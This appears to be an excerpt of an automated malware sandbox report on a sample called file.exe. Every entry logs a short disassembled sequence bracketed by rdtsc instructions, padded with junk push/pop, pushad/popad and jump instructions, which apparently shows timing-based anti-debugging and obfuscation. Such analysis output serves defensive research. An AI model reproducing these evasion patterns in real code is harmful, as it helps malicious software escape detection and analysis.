Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48995E second address: 489966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489966 second address: 48996C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48996C second address: 489971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489971 second address: 489977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489977 second address: 48998B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48998B second address: 48998F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4897E6 second address: 4897FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F64E0CE9AAEh 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4897FE second address: 489815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F64E0F64682h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489815 second address: 489820 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F64E0CE9AA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4918D4 second address: 4918DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4918DA second address: 4918E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A55 second address: 491A6A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F64E0F6467Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A6A second address: 491AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F64E0CE9AA6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F64E0CE9AACh 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 jmp 00007F64E0CE9AAEh 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F64E0CE9AACh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495A19 second address: 495A3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F64689h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495A3A second address: 495A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F64E0CE9AB1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495A50 second address: 495A7E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F64E0F6467Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F64E0F64686h 0x00000012 jnp 00007F64E0F64676h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495A7E second address: 495A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F64E0CE9AACh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A10C second address: 49A115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A115 second address: 49A119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A119 second address: 49A130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0F64681h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A743C second address: 4A7467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007F64E0CE9AA6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f jmp 00007F64E0CE9AB2h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnp 00007F64E0CE9AA6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7467 second address: 4A746B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A746B second address: 4A7492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F64E0CE9AA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F64E0CE9AB7h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF04E second address: 4AF05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F64E0F64676h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1AD second address: 4AF1B7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1B7 second address: 4AF1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1BB second address: 4AF1BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1BF second address: 4AF1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF1C7 second address: 4AF1CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF304 second address: 4AF30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F64E0F64676h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B04D7 second address: 4B04DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B04DD second address: 4B04E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3251 second address: 4B3257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B3257 second address: 4B325F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE89B second address: 4BE8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F64E0CE9AACh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE8AD second address: 4BE8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE8B2 second address: 4BE8B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE8B7 second address: 4BE8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F64E0F64676h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0172 second address: 4D017C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F64E0CE9AA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D017C second address: 4D0195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F64E0F64678h 0x0000000f jg 00007F64E0F64678h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0195 second address: 4D019A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E676C second address: 4E6772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6772 second address: 4E677A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E677A second address: 4E6780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E58FA second address: 4E590A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F64E0CE9AA6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E590A second address: 4E590E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E590E second address: 4E5914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5914 second address: 4E591A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E591A second address: 4E591F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5A9F second address: 4E5AB5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F64E0F64676h 0x00000008 jmp 00007F64E0F6467Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5AB5 second address: 4E5ABA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6035 second address: 4E6051 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64686h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E61D4 second address: 4E61D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6331 second address: 4E6336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6487 second address: 4E648E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E648E second address: 4E649D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E932E second address: 4E9334 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9334 second address: 4E9347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9347 second address: 4E9351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F64E0CE9AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E93E9 second address: 4E9409 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F64E0F64684h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9409 second address: 4E9414 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9414 second address: 4E946F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F64E0F64678h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 push 00000004h 0x00000023 jmp 00007F64E0F64684h 0x00000028 mov dword ptr [ebp+122D33A5h], eax 0x0000002e call 00007F64E0F64679h 0x00000033 push eax 0x00000034 push edx 0x00000035 js 00007F64E0F64678h 0x0000003b push edx 0x0000003c pop edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E946F second address: 4E9481 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9481 second address: 4E9495 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F64E0F64676h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9495 second address: 4E94C4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F64E0CE9AB9h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push edi 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E94C4 second address: 4E94C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E96F6 second address: 4E96FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E96FA second address: 4E971F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64685h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F64E0F6467Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E971F second address: 4E9723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9723 second address: 4E976D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F64689h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jo 00007F64E0F6468Dh 0x00000013 jno 00007F64E0F64687h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e jc 00007F64E0F64676h 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E976D second address: 4E9793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F64E0CE9AA6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9793 second address: 4E9797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9797 second address: 4E97A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA960 second address: 4EA978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F64E0F64681h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC51F second address: 4EC523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC523 second address: 4EC539 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0F6467Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC539 second address: 4EC53D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC53D second address: 4EC572 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F64E0F64683h 0x0000000b jmp 00007F64E0F64686h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC572 second address: 4EC578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC578 second address: 4EC57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC57D second address: 4EC587 instructions: 0x00000000 rdtsc 0x00000002 je 00007F64E0CE9AB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC587 second address: 4EC58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDF90 second address: 4EDF96 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDF96 second address: 4EDFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFA1 second address: 4EDFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFA6 second address: 4EDFAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFAB second address: 4EDFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDFB1 second address: 4EDFB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60277 second address: 4B6029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F64E0CE9AB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 7Bh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6029B second address: 4B602A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602A1 second address: 4B602A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602A5 second address: 4B602A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602A9 second address: 4B602E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F64E0CE9AB9h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F64E0CE9AAEh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602E2 second address: 4B602E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B602E6 second address: 4B602EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60336 second address: 4B6034E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 jmp 00007F64E0F6467Ah 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6034E second address: 4B60352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60352 second address: 4B60358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B60358 second address: 4B6037C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2528h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F64E0CE9AB2h 0x00000017 rdtsc
